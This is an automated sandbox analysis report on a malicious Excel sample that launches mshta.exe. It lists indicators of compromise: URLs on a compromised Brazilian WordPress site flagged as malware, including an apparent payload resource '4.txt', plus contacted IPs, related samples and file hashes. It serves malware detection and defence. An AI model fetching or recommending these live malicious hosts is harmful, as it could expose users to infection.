http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png	true	Avira URL Cloud: malware	unknown
http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/style.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204170	mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework	mshta.exe, 00000008.00000003.1115260987.00000000039E5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1028583143.00000000039E5000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://fontawesome.io	mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0.txt	bootstrap.min[1].js.8.dr	false		high
http://www.broofa.com	mshta.exe, 00000008.00000003.949067983.00000000003B4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://adomas.org/javascript-mouse-wheel/	jquery.mousewheel.min[1].js.8.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://	mshta.exe, 00000008.00000003.1055624165.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1097230305.0000000004FA8000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://vimeo.com/groups/:group/videos/:id	owl.carousel[1].js.8.dr	false		high
https://vimeo.com/:id	owl.carousel[1].js.8.dr	false		high
http://brandonaaron.net)	jquery.mousewheel.min[1].js.8.dr	false	Avira URL Cloud: safe	low
https://csp.withgoogle.com/csp/report-to/apps-themes	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173598373.0000000000310000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs	mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://netdna.bootstrapcdn.com/	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://youtu.be/:id	owl.carousel[1].js.8.dr	false		high
http://creativecommons.org/licenses/by/3.0/	mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false		high
http://opensource.org/licenses/mit-license.html	mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css.css6~Ojp	mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0	mshta.exe, 00000008.00000002.1173070393.0000000000240000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.12K~Ojp	mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.opensource.org/licenses/mit-license.php	camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	false		high
http://twitter.com/fontawesome.	font-awesome[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/certificates/4.txt~	mshta.exe, 00000008.00000002.1173694302.0000000000376000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.gnu.org/licenses/gpl-2.0.html	flexslider[1].css.8.dr	false		high
http://twitter.com/byscuits	mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3http://facextrad	mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling	mshta.exe, 00000008.00000003.949067983.00000000003B4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.woothemes.com/flexslider/	flexslider[1].css.8.dr	false		high
https://github.com/joeldbirch/onHoverIntent	mshta.exe, 00000008.00000003.1100452802.00000000049A9000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.w.org/(	mshta.exe, 00000008.00000003.1121027423.00000000061F6000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1120987050.00000000061F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nickpettit/glide	animate-logo[1].css.8.dr	false		high
http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://kyruus.com	mshta.exe, 00000008.00000003.949203382.00000000003A1000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	false	URL Reputation: safe	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?	mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20tion	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:	mshta.exe, 00000008.00000003.1102150011.0000000004994000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1101516953.0000000004991000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102287643.0000000004996000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102402206.0000000004997000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1102190104.0000000004995000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://facextrade.com.br/feed/	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://dimsemenov.com/plugins/magnific-popup/	jquery.magnific-popup.min[1].js.8.dr	false		high
http://code.google.com/p/swfobject/	swfobject[1].js.8.dr	false		high
http://facextrade.com.br/xmlrpc.php	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssacket	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/simov/simplr-smoothscroll	jquery.simplr.smoothscroll.min[1].js.8.dr	false		high
http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2AHOjp	mshta.exe, 00000008.00000002.1173342301.000000000027E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://app.vzaar.com/videos/:id	owl.carousel[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.204.9.20	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://info.template-help.com/help/	style[1].css0.8.dr	false		high
http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0	cmd.exe, 00000002.00000002.1173152064.000000000023E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417a	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	mshta.exe, 00000008.00000002.1173070393.0000000000240000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20e.css	mshta.exe, 00000008.00000002.1173634690.0000000000329000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.gnu.org/copyleft/gpl.html	jplayer.playlist.min[1].js.8.dr	false		high
http://facextrade.com.br/wp-includes/certificates/4.txtsmshta	cmd.exe, 00000002.00000002.1173152064.000000000023E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://github.com/mambows/mobilemenu	jquery.mobilemenu[1].js.8.dr	false		high
http://facextrade.com.br/wp-content/themes/theme51253/main-style.csse	mshta.exe, 00000008.00000002.1173504592.00000000002CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P	mshta.exe, 00000008.00000003.1121379328.0000000002EF3000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.181.238	www3.l.google.com	United States	15169	GOOGLEUS	false
104.18.10.207	netdna.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
187.45.240.69	facextrade.com.br	Brazil	27715	LocawebServicosdeInternetSABR	true

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	684693
Start date and time:	2022-08-16 11:48:30 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Exploit.Siggen3.17149.11632.3300 (renamed file extension from 3300 to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@11/86@4/4
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 8 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.234, 142.250.186.106, 172.217.16.195
Excluded domains from analysis (whitelisted): maps.googleapis.com, fonts.googleapis.com, fonts.gstatic.com
Execution Graph export aborted for target mshta.exe, PID 2152 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:49:30	API Interceptor	3x Sleep call for process: taskkill.exe modified
11:49:32	API Interceptor	672x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.18.10.207	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
gstaticadssl.l.google.com	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	172.217.16.195
	00187679526.xlsx	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	172.217.16.195
	00187679526.xlsx	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	172.217.16.195
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	172.217.16.195
	https://ipfs.io/ipfs/QmfAndQD4wG6xZpoY4WWL48A9H5qKFYHayWXGx5CvY9zqW?filename=index.html#info@discoversaudi.sa	Get hash	malicious	Browse	172.217.16.195
facextrade.com.br	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.16558.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.29868.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.23052.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.12175.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls	Get hash	malicious	Browse	187.45.240.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	104.18.11.207
	ANFRAGE AUFTRAGSBEST#U00c4TIGUNG.exe	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	104.18.10.207
	RECHNUNG99787383.exe	Get hash	malicious	Browse	1.1.1.1
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	104.18.11.207
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.11.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	104.18.10.207
	00187679526.xlsx	Get hash	malicious	Browse	172.67.74.85
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	104.18.10.207
	SecuriteInfo.com.Trojan7000000f1.4274.exe	Get hash	malicious	Browse	162.159.129.233
LocawebServicosdeInternetSABR	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.18991.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.16558.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.29868.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.23052.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.12175.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.9077.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	187.45.240.69
	SecuriteInfo.com.Exploit.Siggen3.17232.13262.xls	Get hash	malicious	Browse	187.45.240.69

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	SecuriteInfo.com.Exploit.Siggen3.17149.3543.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.24514.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Browse	142.250.181.238
	Order 90541#.docx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.12724.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.13096.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.5932.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Browse	142.250.181.238
	00187679526.xlsx	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls	Get hash	malicious	Browse	142.250.181.238
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Browse	142.250.181.238
	PO#166809.xlsx	Get hash	malicious	Browse	142.250.181.238
	ATT11280.htm	Get hash	malicious	Browse	142.250.181.238
	NextEra RFQ and Business Proposition.docx	Get hash	malicious	Browse	142.250.181.238
	BL-20-89DS.docx	Get hash	malicious	Browse	142.250.181.238
	NOA & Pre-loading docs of CBHU9101956.docx	Get hash	malicious	Browse	142.250.181.238

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.469670487371862
Encrypted:	false
SSDEEP:	3:D90aKb:JFKb
MD5:	C1DDEA3EF6BBEF3E7060A1A9AD89E4C5
SHA1:	35E3224FCBD3E1AF306F2B6A2C6BBEA9B0867966
SHA-256:	B71E4D17274636B97179BA2D97C742735B6510EB54F22893D3A2DAFF2CEB28DB
